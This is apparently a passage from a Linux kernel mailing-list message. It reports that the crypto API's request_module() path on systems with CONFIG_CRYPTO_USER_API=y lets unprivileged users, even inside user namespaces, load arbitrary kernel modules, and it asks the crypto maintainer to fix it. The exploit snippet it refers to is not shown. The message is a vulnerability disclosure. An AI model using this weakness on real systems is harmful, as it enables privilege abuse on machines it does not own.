Well, crypto does not. Try the code snippet below on a system with
CONFIG_CRYPTO_USER_API=y. It'll abuse the above request_module() call
to load any module the user requests -- iregardless of being contained
in a user ns or not.

If people care about unprivileged users not being able to load arbitrary
modules, could someone please fix this in crypto API, then? Herbert?
Thanks,
